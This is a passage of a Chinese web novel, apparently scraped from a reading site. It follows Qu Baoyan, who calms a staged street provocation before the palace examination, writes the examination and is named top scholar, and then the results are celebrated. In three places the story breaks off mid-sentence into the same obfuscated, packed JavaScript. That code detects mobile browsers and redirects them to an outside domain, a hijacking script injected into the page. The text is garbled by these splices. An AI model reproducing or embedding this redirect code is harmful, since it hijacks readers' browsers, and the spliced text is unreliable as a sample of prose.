场面一乱，瞿宝砚的醉意却瞬间散去。 眼见着有人就要动手跟对方扭打起来，也不看打的人是谁。 这场面若真闹大，不论是谁动手，按朝廷规矩，考前肇事者，按律取消殿试资格，严者逐出考籍！ 今夜恐怕是有人故意设下一局，就在这道候着，专为最引人注目的那一群人而来！ 褚清芸酒意正浓，几乎要抬手去推，被瞿宝砚一把拦住。 “别动。”她声音极低，手下力道却将褚清芸生生按住。 萧令仪赶紧上前搂住快醉倒的褚清芸。 瞿宝砚沉着上前，目光一扫那几人，声音不高却极稳，硬生打断众人动作： “诸位若是好意借酒，自当留步为证。” 随即语调一转，陡然变冷，“可若是存心滋事，自当有人请坊司前来，一一验明。” 她话音未落，眼神示意宝桃儿快去寻老陈和坊司衙役。 那几人一听“请坊司”，脸色微变，眼中多了几分忌惮，却也不见慌张。 为首那人嘿嘿一笑，眯起眼睛：“诶，莫要动气，我们几个不过是口渴讨酒喝，怎的就成了滋事了？” 话虽说得软，但脚步却不见退，反倒一步步逼近。 他上下打量瞿宝砚，忽然伸手就要去碰她袖角。 冯子阳眼见那人竟敢上前要对瞿宝砚动手，怒不可遏，疾步而上挡在瞿宝砚身前，厉声喝道：“想动谁？找死么！” 一声喝出，周围数位学子亦纷纷上前，怒目相向，拦在了最前面。 拦路几人本就是故意找茬，当即顺水推舟，作势咆哮：“好大的口气！骂谁不要脸？” 言辞也愈发放肆：“你们这群臭读书有什么了不起的——敬酒不吃吃罚酒！老子今儿还真想试试这酒坊的酒有多辣！” 他们说着作势要动手。 几名学子再也忍不住，纷纷上前：“你们欺人太甚！” “狗东西，找打是吧？” “骂谁呢？真当我们不会还手！” 眼见着火药味浓得局势一触即发，瞿宝砚蓦地站出一步拦住要动手的众人，压过所有喧哗—— “谁也不得动！” 冯子阳回头，不甘地攥拳：“可他们——” 瞿宝砚目光微敛： “今夜谁动手，便是自毁前程。今夜一拳出去，便是十年苦读付诸流水；一念冲动，便是殿试弃局，名落孙山。轻则废黜功名，逐出贡院；重则以谋欺制策之罪参奏，终身禁考，籍贯乡官并坐连责，举人家门亲属不得再入仕籍三代。” 她扫过众人，眼神如刃。 “所以，谁也不许动手。” 一席话，令原本血气方刚的学子们酒意去了大半，幡然醒悟，却也只能咬牙，强忍住这份屈辱。 瞿宝砚这才缓缓转身，面向那几名歹徒，声音沉静，带着不容置疑的冷意： “诸位今夜想必也不是来讨酒的，而是来寻事的吧。” 那几人相视几眼。 “不知诸位可想清楚了。殿试举人为国考贡士，系陛下亲点，我宁国律例，凡敢妄动贡生者，视为妨贡大罪，轻则杖一百，罚役三旬，流放三千里；重者，若致一人受伤，便以妨害国体、谋逆未遂论处。到时，尔等不仅牢狱难逃，连带亲族九族，尽受籍除之罚，家门破碎，三世不得仕籍。” 她声音不大，却字字清冷入骨，街巷间一片死寂。 瞿宝砚又加上一句： “今夜此地灯火未灭，目击者甚众；你们的身形相貌，早落入众人眼底。事后一查，证人、证物、俱在——如若自作孽，休怪律条无情。” 言下之意—— 你们谁敢动这些人一根汗毛，便是罪无可恕，绝无翻身可能。 歹徒数人面面相觑，面色陡变，想后退又不敢动。他们的目的当然不是把自己搭进去，而是要挑唆对方先动手。 夜风穿巷，冷得人指骨发麻。 “你们自己选罢。”瞿宝砚语声极淡。 却叫那几人僵在原地，额上冷汗直滚，脚底像生了根。 身后，一直怒火中烧的冯子阳等人，听到这句，再看那几个歹徒东倒西歪、神情慌张，不由得一哼笑，明白过来。 有人干脆学着歹徒的模样，长袍一拂，一屁股坐在了青石路上，双手一抱膝，神情悲愤又可怜：“咱们今日就学学——好歹坐着不动，总不算妨贡罢？” 旁边醉意未清的才子们一看，顿时心领神会，纷纷有样学样。 “是啊，坐着呗，谁比谁无赖啊。” “坐坐坐，正好走累了歇歇。” “诶哟，舒服。” 于是，只见巷口灯影之下，一群春闱榜上有名的俊彦才子们，竟齐齐往地上一坐，衣摆在地上摊开，像是一群被秋风扫落的书生菊花，凛然又悲壮。 褚清芸醉着酒，双眼朦胧的靠在萧令仪肩上：“嗯？这是走哪儿了？怎么地上长了这么多萝卜？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042146|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 萧令仪无语轻笑一声，摇了摇头。 她原先还担心，赶紧叫绿珠她们几个去衙门报信，此刻也不禁微微挑眉，面上露出一抹浅笑。 巷口行人远远望见这一幕，只当是少年才俊春夜狂欢，忍俊不禁，却也不敢靠近。 那几名拦路歹徒见状，反倒傻了眼。原是想激怒他们，结果人家学起无赖比他们还溜。 一时间场面滑稽得令人发笑，又带着三分冷讽—— 尔等无赖，吾辈也能为之；但吾辈但为自清，不为自污 众学子们席地而坐的荒唐一幕还未有下文，巷口灯影忽然一暗。 只见不远处一列锦衣侍卫步履齐整，自夜色中无声而至，为首者沉声喝道： “奉命缉拿夜间滋事之徒——尔等竟敢扰乱贡生，拿下！” 未及众人反应，那几名歹徒已被一一按倒在地，拧腕捆缚，叫都来不及叫。 官兵动作干脆利落，片刻间巷口已清得干干净净。 领头的侍卫抱拳，向席地而坐的众人躬身一礼，声音铿锵： “诸位考子，夜深露重，不宜久留，卑职奉命护送诸位返回云台。请吧。” 众学子面面相觑，不明所以，这群人穿着打扮看起来也不像是坊司衙门的人，但见瞿宝砚微微颔首示意，便陆续起身整衣，随行而去。 直到行至云台门前，才算是安全了，今夜有惊无险，众人也都乏了，纷纷摆手告辞回院休息。 瞿宝砚正欲进门，忽听身后一道细声唤道： “瞿会元——请留步。” 瞿宝砚转身，只见一名穿青衫短褂的小童，眉目稚嫩，举止却格外恭谨。 她朝瞿宝砚一揖，声音清脆而庄重： “我家殿下，有言相邀。” 瞿宝砚目光微凝，微微拢袖，望了眼散去的众人背影，跟着那青褂小童走到一处巷角。 一顶绣金暗纹的小轿静静停在巷口，灯火摇曳，帘幕低垂。 周围数名锦衣侍卫分立四方，环护轿侧，目光警锐。单是这等阵仗，便已昭示轿中之人，身份不凡。 瞿宝砚听轿中传来一缕清和低沉的女声，隔着帘子，却带着不容轻慢的从容威仪： “澄州瞿宝砚，策下衡道，笔落风生。今夜观之，果然不负盛名。” 这声音温缓，却听不出情绪，既不亲昵，也无高高在上的俯视，只是一种安静，自然的语调。 瞿宝砚垂手而立，微微拱手一礼，声音沉静清亮： “晚辈侥幸为会元，不敢当贵人垂青。” 帘中女子轻笑一声，似是颇为满意：“今岁之选，天下共观，如何不敢当。”她顿了顿，语气转轻，“云台之后，可有意……更上一程？” 短短数语，语气平和，却带着一种极锋锐的力量。 瞿宝砚沉默片刻，抬眸看向帘影，声音不卑不亢： “前路未明，然笔在手，人自有志。若能为国所用，在下自无惧风雪。” 风从巷尾吹来，轿帘微微一颤。 帘内女子似笑非笑，声音低缓： “好一句‘笔在手，人自有志’。” 片刻后，小童再行一礼：“会元请回。” 瞿宝砚亦一揖为别，回身步入坊门。 身后，轿子无声无息地沉入夜色，仿佛从未来过。 只留月下青砖，灯火摇影，与一地清辉。 15. 一举夺魁 三月初八，正值立春后一旬。 阳和渐起，京城春寒未尽，天色尚凉，宫中却早早动了起来。 文德殿前，曙色初破，百余内侍静默往来穿梭，手中忙碌不停。铺设坐席，分列号签，摆陈笔墨纸砚，件件整肃，无一差错。 内廷小太监低声传令，脚步虽疾，却无半分惊动。 殿外丹槛两侧，尚书台、礼部使、翰林监、内阁中使等各司官员，依品级列位肃立，只待钟声一响，便是殿试大选之始。此番殿试，自诏下之日筹备至今，历时数月。礼部昼夜不歇，誊题设座、定礼阅名，一一亲审细定，只为此刻万无一失。 殿内，天光透过棂窗而落，洒在一列列御案之上，映得气氛肃穆。 考子们也已早早候在宫门之外。 辰时三刻，宫门启。 诸列榜贡士由引路太监领入皇宫，自宣武门而入，穿丹墀，步绣阶，直至文德殿前。 瞿宝砚一身长袍束袖，乌巾正冠，行于百人之中，步履不疾不徐，举止端然。她神色沉静，目不斜视，即便脚下踏过的，是千百年来天下士子魂牵梦绕之地—— 是寒窗十余年换来的登科之阶，是一族三代寄望，家门灯火不息的金銮之途，亦是令人心驰神往梦寐以求的证道之地。万人争渡，千人折戟，百人临阶，却唯三人问鼎。 玉阶无语，殿前静极，众人心中却早已波澜暗涌。风起丹墀，拂过衣袂，却不动衣角，仿佛连空气都屏住呼吸，只等谁能迈过此关。 今日，他们不再是书院中的同窗，也不再是诗会上执笔并肩的友人，而是争夺天下策首的对手。大多是名门子弟、朝臣之后，自幼策论于绣案金屏；亦不乏寒门孤子，披雪夜读，负薪换纸，只为搏一朝登科。 而她，瞿宝砚—— 自澄州而来，一身朝服未掩其本。 不仰望，不怯场，不动声色，只将脚下玉阶，一阶、一阶，走得端正清明。 · 巳时到，金钟再鸣三声，震彻文德殿顶。 殿中帷后传来细微帘响，一道明黄身影自帘幕后缓缓落座。 满殿呼吸一窒。 ——圣上到了。 无须宣号高呼，只那一道身影坐于九阶之上，便叫殿内百余人皆脊背绷紧、喉中发涩，连袖下微汗也不敢抬手去拭。 下一刻，黄门中使步伐稳重持卷入殿，声如洪钟： “承乾十四年，岁次乙巳，孟春三月，奉天承运，圣上有旨——” “今春殿试，具题策问六道，皆由陛下御笔亲拟，旨在审文察政、择贤定策。诸列贡士，悉数作答，不得有误。文德殿设限五鼓，自巳时始，至酉初止。日沉而卷未上者，视为弃考；钟声既鸣，卷即封缄，不得增补。” “钦此——” 稍顿，黄门中使高声道： “启卷——开——考！” 话音落下，钟磬再响。锦袍侍从依序于案前分发题卷，不同于会试，这殿试连题卷用纸都是民间难见的精品，三折玉笺纸，以金印蜡封，触手生温。 有传言说，这次御前策问不假礼部，不交翰林，乃是陛下亲自拟题裁定。便是旁立的中书令和内阁辅臣，也未得全稿，只知六题并出，暗藏玄机，擢拣实才。 这一回，不是写得华便可得头名高坐。而是看可否读懂圣心所指，又可敢据理自陈。 六题铺开不过一纸长，比起会试那三日的二十五道题，乍看起来倒显得简略。可殿内却无人敢松一口气，这是殿试，为君进言。圣人亲设之问，不求广，只问“准”。每一题，需成篇立意，有法、有度、有术；不仅要能讲“治”，讲“势”，更要讲“心”—— 圣心何在？天下局面如何？答的不仅是学识，而是立场、眼界、与胆识。若仅循时文旧格，笔再快也不中旨；若想字字周全，光是理清一题，便费时极重。六题不多，却字字逼近一个“可堪重用”之人。 只有八个时辰，分去点墨、成章、誊清、署卷……粗略一算，一题不过一炷香的沉思余地，三柱香的下笔时间。 这不是写文章，而是用八个时辰，换一次一生登堂面圣之机。 成败在此一举。 · 瞿宝砚拿到题目，如往常一样，打开封口，取出试题，扫了一遍六道题纲。 看完未动笔，而是静静捻着纸角，目光在最后一道微顿，接着徘徊于六道之间。 初看六策，分列如林；细读之下，却如山川交映、江河缠绕，暗中走势相牵、脉势相连。她静坐殿前，心神却仿佛登高临峰，尽览山川起伏。溪入江，壤接岭，断崖有脉通，平川藏变数。 策问非问策，而问天下事；墨纸非纸墨，而是山河水脉，政道人心。 再抬眼时，瞿宝砚的眸光静如清夜水面，波不生漪。 接着动笔。 一笔落下，一如既往稳如磐石，她无需草稿、也无需来回校改，一题千言，不急不缓，只待笔下行出。末行收束，署题编号，拢袖按卷，只用了小半柱香。 这时，她四下尚无人察觉。 又起第二卷，两旁才有人侧目—— 右手一位贡生方才写完题首小引，笔尖尚在颤，抬头一望，见她已翻卷起笔，神色丝毫不变，手中笔尖一歪。 左侧一位正轻蹙眉，抬头凝目，见到此景，心中一震，手中墨一重，纸上溅了一滴。 殿内其他各处笔声皆紧。 韩璟坐于殿侧三列，平日里疏懒惯了，可此刻却一反常态。 案前笔墨早已铺开，他未急着动，而是半扶着案，眉心微敛，目光直视题目良久。 忽而轻笑，随即笔起如流，飞旋直下。与其说在写策，倒更像是在调阵列兵，下句衔上句，断句如转锋，字里行间透着一股将谋如棋的气劲。 不急不迟，落锋见章，句句有势。叫两侧的人也暗暗心惊。 顾如鸢坐得极直，一头长发挽得极高，纤指执笔，一看便是素来习书的姿势。 她看题时轻挑眉峰，提笔落字，速度飞快，却比别人多出一分从容。她不写大篇幅，不拉长空论，仿佛每句话都必须写得好看才肯落下。 顾箴言坐在她不远处，行文极为规整。 题未展开，眉不挑、眼也不乱，仿佛策题在他心中早有其位。 他的笔法与妹妹不同，不求工整外貌，但句法严密，层层递进。不堆辞藻，也不附和，却处处能见“心知其难、言之有道”的沉稳气度。他便是那种，即便字写得再快，也不会出错的人。 若说顾如鸢是锋芒毕露的白玉雕花，那顾箴言就是润泽藏骨的乌玉横刀。 此刻正写到第三题，他一边写，一边微微点头，像是对自己的答法颇为满意。 褚清芸落座之后，迅速调整好心态，不再紧张，而是极快地通读六题，进入状态。 她眼神灵动，写字极快，前三题几乎是看完即起草，五笔成段。 写到第三题时，却忽然停了片刻，然后一咬牙、撤回两段，重新落笔。 她不是不知道细致小心，而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042147|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她太知道时间不够用了。这一场考的不是古板套文，而是先明白，再能说。她手中写着，脚下却隐隐有些踢地——藏不住那跃跃欲上的性子。在这金光满堂的殿里写策，于她而言，更像是一场自斗。 余下众人谁又不是。 有人一题读了几遍，忽一顿笔，却又重写。手中笔锋虽重，比起平时的意气风发却多了一份凝重，屡写屡停。不是写不出，而是知道这道题若写浅了，便是白写；写深了，又怕用词不当、得罪圣意。但时间一点一滴过去，须得硬着头皮继续往下写去。 光线悄然西转。 文德殿点上了灯火，瓦上日影渐渐褪去，金瓦染赤，龙纹失光，百窗暗黯，影沉如墨。 殿中无人抬头。 谁也未觉，黄昏将近。 瞿宝砚停笔放下，阖上第六卷，便端然坐定，双手置于案上，目光沉静，缓缓看向窗外正落的最后一道日光。 金光映在她的衣角，像是整座大殿中，唯她与时间对视过一眼。 也正是那一刻—— 铜钟三响，黄门开嗓高唱： “停笔——收卷！” 那声喝令如风雷炸裂，将众人一个惊醒。 ——恍若隔世。 许多人骤然抬头，才知窗外早已霞光染柱；更有人仓促誊清，一行未尽，呼吸粗重，汗落纸上。 不片刻，数十名吏员自殿后入列，手执卷匣、御印、封签，从殿门至内庭，分列收卷，誊录签印。 一卷卷策文被收起，入漆匣，三印覆封，一字不得改动。 而考生不能出殿，需原地等待，在此接受最后的分判。 文德殿偏殿早已备下阅卷之所。二十位阅卷官自黄昏前即候于侧厅，答卷送到便各据条案，三人一组，分十案复评，三批一合，分优次。 殿中静如止水。 数百贡生已卸下笔，却未卸去心头之石。 有人低头望地，目光空茫；有人手捏衣角，指节泛白；也有人闭目调息，强自镇定。 几处窃语也被黄门立即厉声止住。 只偶有几人敢悄悄望向前方——那一道内门尚未再启，谁都不知道自己是否会被唤出其后。 一个时辰后，只见门启三寸，所有人一时屏住呼吸。 黄门持卷入殿，朗声宣读道： “承乾十四年文德殿殿试，十甲已定。列名者，觐见御前，余者退席，静候金榜赐名。” 殿中先是一滞，继而数百人呼吸俱紧。 黄门一字一顿，宣出前十名—— “京兆贡士，韩璟，宣御前觐见。” “京兆贡士，宁庆，宣御前觐见。” “江右贡士，顾箴言，宣御前觐见。” “燕赵贡士，白琢言，宣御前觐见。” “西北贡士，岳碧桑，宣御前觐见。” “岭南贡士，萧令仪，宣御前觐见。” “京兆贡士，魏灵韵，宣御前觐见。” “京兆贡士，罗隐，宣御前觐见。” “京兆贡士，邵其琛，宣御前觐见。” “澄州贡士，瞿宝砚，宣御前觐见。” 十人依序起身，各行一礼，应道：“谨遵旨意。” 余者未闻其名，或黯然低首，或伏案不语，有人当场失声哭泣，亦有友人低声相劝，手扶肩背。 不过，前十甲既出，也算尘埃落定，或喜或悲，皆不再更改。 文德殿中，一纸之隔，却自此天涯路分，浮沉各命。 16. 一举夺魁2 黄门唱毕，那道金銮殿门再启。 名列十甲之人自文德殿前堂，依次入了内殿。此处已再非策场，而是朝堂之上，曰「乾元厅」。 厅中地铺金莲，台嵌白玉，两侧丹柱高立，紫檀为栋，金龙绕梁。垂幔如云，高悬九灯，极为肃静。 皇帝赵嵩高坐龙椅之上，身着龙袍，章纹云龙于光下若隐若现，冕旒垂于额前，不怒自威。 礼部尚书程允衡出列，躬身奏曰：“启奏陛下，臣等初评复议，十甲名单业已拟定，尚未排定名次。今呈奏卷，恭请陛下御览，钦定甲第。” “准。”御阶之上，赵嵩冕旒不动，缓缓开口。 语落，黄门即刻上前，双手捧卷呈上御案；三名书吏接着便伏案提笔，时刻恭候备录圣评。 殿下十甲肃立，殿中一时寂无人声。 赵嵩开始静静翻阅批笔，不多时，便将笔搁回案上。 他微微抬头，目光温然地落向殿下左列，冕旒微晃，声音柔和道：“韩卿家之子韩璟，何在？” 韩璟从人列中踏前半步，束手而立，行礼道：“臣在。” 座上赵嵩笑了笑，评道：“你这卷写得不差。不过，你父为相，掌政十年；你为子，策中却直言‘冗职积滥，政令不出京堂’，不怕伤了你家中人的颜面？” 殿中微有一动，有人袖下的手紧了紧。 韩璟却不躲不遮，语声清雅，拱手道：“今，臣为贡生，不为相子。入场写策，是奉国试，不为家辩。若臣所言误中时弊，实是朝廷之忧；若臣所言错引旧怨，愿陛下斧正。宁国上下，得陛下教化有成，恪守礼法，正所谓‘父有父位，子有子责’，臣不敢掩弊，更不敢徇私。” 韩璟又一拱手，低头含笑道：“若卷中只敢写那四平八稳之言，怕是连臣父也不会高看一眼。” 赵嵩闻言点头，带着一种似笑非笑的温意：“你倒是说得明白。——有才，不失家教，也不惧家名。” 他翻至策卷末页，又点了两句关键条目，言简意深：“章法尚稳，识势明朗。” “榜眼，正好。” 话音落下，黄门即刻收卷入匣，书吏于侧案落笔封名。 “谢陛下——” 韩璟复身退回席位，自若低首，神色似笑非笑，看不透心中所想。 御阶上灯火微明，赵嵩继续垂目翻卷，片刻，又缓缓抬首。 他虽已年过天命，声音却温和清朗，响彻整座乾元厅，点道：“魏灵韵何在？” “臣在。”殿中一道纤细身影迈出一步，拱手答道。 “你这文章，有你父亲的影子。文气圆润，策意灵巧，点到即止，也收得住。” 赵嵩顿了顿，笑意淡淡：“只可惜——少了几分他当年那一笔，写得开，也更深些。” 魏灵韵出身京中魏氏，乃数代通籍之家，其父魏德清，官拜通政使司左副都御史，素以清慎平直著称于朝。魏家虽非勋贵，却家风极重文教，门下亲属中多诗人、词士、儒讲、策官。 魏灵韵人如其名，灵而不张，娴而不弱，只是——也因这层出身与教养，笔下写不出锐意，实因不肯逾矩。 似对结果早有预料，魏灵韵闻言微垂眸，拱手行礼：“谢陛下教诲。” 说罢拢了拢袖口，唇角轻抿，退身半步，神色静淡。 赵嵩落笔，批字一行： “第八。” 黄门唱收卷。 又启一卷，是顾箴言之文。 赵嵩目光一落，便觉笔势沉稳，章法井然。 他略翻两页，唇边现出一点笑意：“字整，意深，逻辑绵密，起承转合皆有章。前后互引，心气收得极稳，实乃上乘。” 他轻点卷角，语气仍平：“只是端得太稳了。可镇一域，未必领群。若为辅佐之臣，极佳。若求一席三甲，尚欠一线锋意。” 顾箴言闻言拱手低头，沉正端声道：“谨遵圣断。” 赵嵩点头，亲手批下： “第四。” 又展一卷，墨气未散，却锋意先露。 赵嵩眉头轻挑，目光掠过纸上策论，不由低声一笑：“燕赵子弟，果然有股不让不退的锐气。” “三策皆破旧局，语新意快，笔不遮锋，气不藏骨。” 他放下卷，抬目看殿中：“才气是才气，可火气也是火气。若此卷再沉两分，或可争前。” 白琢言拱手抱拳，声音清朗：“谢陛下教诲。”语毕，却仍藏不住眉眼间那一点锐光，像是春雪未融，性情未息。 赵嵩： “第六。” 三卷已定，三名分明。 此刻，殿下十人似是俱各有所思。 四席已定，前三犹悬，一时有些令人心弦紧绷，但毫无疑问的是，状元，只会在余下的人选之中了。 “宁庆。” 宁庆踏前一步，拱手垂首：“臣在。” 赵嵩看着她，语气中多了几分欣然慰意：“你是宗室之后，本不必披星戴月走这读书应试之路。可你却自拔宗籍，自求策名，三试俱中。今阅此卷，不惟章整理明，更见沉心之志。朕心甚慰啊——” 他顿了顿，语声清朗评价道：“此卷平正不浮、条理不躁，法理分明，句句关国政、忧黎庶。” “宗女而能如此，诚为我赵氏门楣之荣。” 宁庆抬眸，正色拱手道：“陛下过誉了，既为宗族之身，非为安逸。陛下赐我恩典，臣愿以寸策报国、为陛下分忧。” 赵嵩眼底微光一敛，点头而笑：“说得好。宗室之子，不可因贵生骄，贵而知忧，才堪为宗。此后宗室当以你为典范，不得再倚名懈进，而当心守法度，忧国忧民，替朕献策分忧。” 他收笔落字：“宁庆——探花。” 黄门传令，书吏誊册。 宁庆谢恩退列，神情如水，未见得意，也未见欢喜，只如向来行事风格，冷锐而沉静。 赵嵩翻至下一卷，他的手指在纸上人名轻停片刻，眼神静了几分，低声念道： “瞿宝砚。” 列中，瞿宝砚微一拱手，缓步而出，行止沉稳，语声清正： “臣在。” 赵嵩目光落在那卷上，略一顿声，转眸看向殿下列中低首的青袍女子：“朕记得你。” “澄州解元，会试会元，去岁寒冬的云台策堂，一篇‘衡道’，名动京城。” 他轻抬手指，点在卷首，微微一笑：“策中言‘不求平天下之力，但使人人有力可尽’。” 他将那卷轻敲桌角，语气半问半点：“有人言此语太轻，未见王道之纲；亦有人言——此语至重，能收万民之心。” “你以为如何？” 这话问的殿中众人皆心头一紧。 殿下，瞿宝砚神色沉定，拱手行礼，答得从容：“回陛下，此策非独写予上观，亦非只为寒门解难。” “所言‘人人有力可尽’，既非妄自托理于下民，亦非欲分权于朝堂，而是在言一理——天下之治，不在一人之力，而在群势能行。若天下之人各安其位、各尽其力，则圣明之上可有辅、下情之下能上达。如此，则纲维自立，王道可成。” “此策，便是写给治道之人，以及这世间，正在行、将要行、而尚未能行之法。” 一言既出，殿中诸臣神情微动，目光落向那人。 赵嵩微微一笑，道：“说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042148|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好啊。” 他合上那卷殿试策文，指腹在封皮轻轻一叩，语声不急，感慨道： “这世间，能写一篇上策者，不在少数；能写出一篇可用可行之策者，寥寥而已。” “而可为制度之根基，更是百年难遇一人。” 他语声一顿，轻敲卷首：“今日你此策，不避权病，不讳制度失衡，却又不作浮夸之批、不施空泛之义。设局合乎今政，所提法案‘三勘五核’，兼顾可行与可守，实属难得。” “更难得者，你这一卷，不独为一时夺魁，亦可为一代政纲之参引。” “此卷无疑，堪为今日之最。” 此言一出，殿中众人屏息。 状元之名，已然呼之欲出。 赵嵩忽而将手中策卷收起，放回案前，话锋一转，语声不高，却如雷霆压顶：“可若今日朕封你为状元，你便是连中三元——自宁国立朝三百年，唯两人而已。” “朕想知道，你心中——作何感想？” 乾元厅一刹寂静无声。 几乎所有人的目光都投向殿前的那道身影。 这是今日最后的一问，也是登堂问心。 瞿宝砚无惧无骄，微一拱手，神情沉静如初，语声清澈不急不缓： “臣不敢言感想，但言本心。” “中与不中，于臣是功名；可行不可行，于天下是命运。” “若臣之言，果真能助圣上定一策、兴一政、利一民，则此名，不为臣得，乃为天下得。” 她略一敛容，又拱手一礼： “臣惟愿纸上之言，来日莫留于金榜，而行于市井；不为文章传世，而安百姓生民。能使孩童少挨一顿饿，老者少受一夜寒，百姓少走一里冤路，便是所愿。” 她目光如炬，语声澄明： “功名易得，良政难成；浮华可饰，民心难欺。” 再一顿，语意沉稳如钟： “若一策得行，一政得立，百姓得福，四海得安——此即臣心之所向，亦不负陛下圣恩浩荡。” 此言落下，殿内的空气似乎凝住了。甚至无人大声呼吸，书吏缓缓落笔，目光却停在字迹之上久久未动。 赵嵩目中似有暗芒微闪，缓缓点头，低声一叹： “好一个不为我得，乃为天下得。” “有此心——方可居首。” 他亲手执起御笔，笔下金光如流： “那朕便钦点你——瞿宝砚，为今春新科状元。” 语毕，书吏擎册，黄门高唱，声彻金殿： “奉天承运，皇帝诏曰：今春殿试三甲已定，澄州贡士瞿宝砚，文理兼优，才堪首选。著赐为今科状元，授进士第一甲第一名。钦此！” 那一刻，乾元厅上，金光落于她肩。 青袍之中，满朝文武，尽皆拱首。 无贵胄之身，无门阀之援，凭一策之诚，一志之坚，一心之正，立于千万人之上，封为天下第一士。 自此之后，史册有载，金榜留名，策题于上，曰： 「承乾十四年·状元：瞿宝砚。女身，籍隶江南道澄州。 初以乡试拔解元，会试中擢会元，殿试终为状元，连中三元，名动天下，时称“文星下凡”。 殿试之日，金光若落，满朝文武拱首。上亲定其名曰：“第一士”。赐状元，赐宴，赐第，赐书，皆从优典。 京师士人，争传其策，称之曰“宝砚之论”。 后世论科举盛事，必首称“承乾三元”，谓之：“一心为道，独步万众而成三元者，唯瞿宝砚一人而已。”」 然于宝砚而言，功名至此，不过序章；问道之途，方才启也。 17. 骑马游街 巳时方过，阳光从皇城朱墙上洒落。朱门外头，金榜高挂，吏员高声宣读，声震四方。 “今春殿试，状元——澄州贡士，瞿宝砚。” 片刻静默，继而如水面骤然投下一石——一波未平，一波又起。 有识字孩童扬起嗓门，立即沿街传诵：“放榜啦，放榜啦！瞿宝砚、韩璟、宁庆为一甲三人——！” “放榜啦，放榜啦——” 街角小贩听得一半，手中箩筐都忘了放下，干脆一屁股坐在门槛边，扯着嗓子问： “瞿宝砚——可念的是她？” 旁边一位老夫子已眯起眼往上看，嘴里小声复诵：“瞿……宝……砚，澄州贡士……第一名，状元，正是。” 话音未落，人群中便起了嗡然之声。 有书院来的少年快脚往回奔，说是要回院通报；各大书铺的抄书伙计当场摊开一排册页，按着名字逐一誊录；有人抬头念了一遍又一遍，念得眼眶都红了——他家三代寒窗，如今总算有人点名在榜。 更多的人，则只是仰头望着那一张薄纸，一行行字，一排排名。 榜下的人越来越多，一时间，东华门外，衣袂摩肩，熙来攘往，书声、笑声、甚至哭声杂成一处。 城中风起于坊巷。 临春街上，茶铺里人头攒动，中年掌柜刚把“头道茶”烧好，便听得有人笑道：“你们看这名字，今年这榜，有点意思。” “瞿宝砚……是那个策堂写‘衡道’的？”另一人忽然凑过来。 “对对对，就是她，那会试策文一出，三日抄不完，全京城都有人贴墙抄来读的！” 街边做茶叶生意的女掌柜插嘴：“我听说这位状元并非京兆人士，家里也没听说有什么做官的，谁说寒门不出才了？” 更远些的市井一角，一位老妪扶着孙女儿，听闻了皇榜状元的名号，眼中泛光，喃喃说：“姑娘也能做得这等人物，世间果然还讲才识二字。” 云台诸院中。 松鹤院前，褚清芸将一封刚拆的喜报啪地往桌上一放，眼角扬得高高的。 “我说什么来着？她若不中，我今晚便倒立睡觉！” 萧令仪含笑不语，抬眸望着窗外微动的竹影：“她若不是第一，谁还配那‘策首’之称？” 褚清芸闻言，转头笑望萧令仪：“宝砚去骑马游街了，晚点回来再恭喜她。” 随即躬身拱手道：“我先恭喜萧小姐拿了第七，我这邻院可跟着沾了光，这左邻右舍都是前十甲，说出去可不是倍有面儿的事，要是跟我老爹说，他一准不信还骂我吹牛皮——” 萧令仪笑：“我给你作证。” “那可说好了啊！” 石松院里，院中一锅笋干鸡汤煨得香气四溢，冯子阳撩着衣袖，正蹲在火边往锅里丢一把枸杞。 这几场大考下来，可叫人元气大伤，得吃点好的赶紧补回来。 门口啪一声被推开，看榜回来的沈未舟一手拎着一包甜酥饼，另一只手摇着一张榜册进来，语气颇有些幸灾乐祸：“冯子阳——你二十六，我二十八。” 冯子阳慢吞吞回头，汤勺在锅里划了个圆：“哦？怎么就不是我二十八你二十六？” 沈未舟坐下就啃了一口饼：“我长得英俊一些，文章也英俊一些，名次自然也得英俊一些。” 冯子阳翻白眼，把锅盖扣上：“反正前十甲又没咱俩，有什么好争的。” 沈未舟一拍桌子：“说得好。那我们现在正式召开——十甲人物品评大会。” 隔壁院子的闻着香味也都来了，众人围了一桌，把金榜摊在石桌上，一本正经地开始胡说八道。 不知谁先开了头：“状元是瞿宝砚吧。” “是。” “那必须得是她，你不知道，我就坐在她侧后边，好家伙，我一题还没答完，她都开始写第三张纸了——” “——那是你菜。” “唉，没意思，没意思，一猜就猜出来了——” “就说服不服吧。” “服服服，略，下一个。” “你们猜猜榜眼是谁？” “谁？” “韩璟啊。” “韩璟！他能写文章？凭什么？” “他能写脸，够了。” “他爹是丞相，够了。” “他比我们老，够了。” 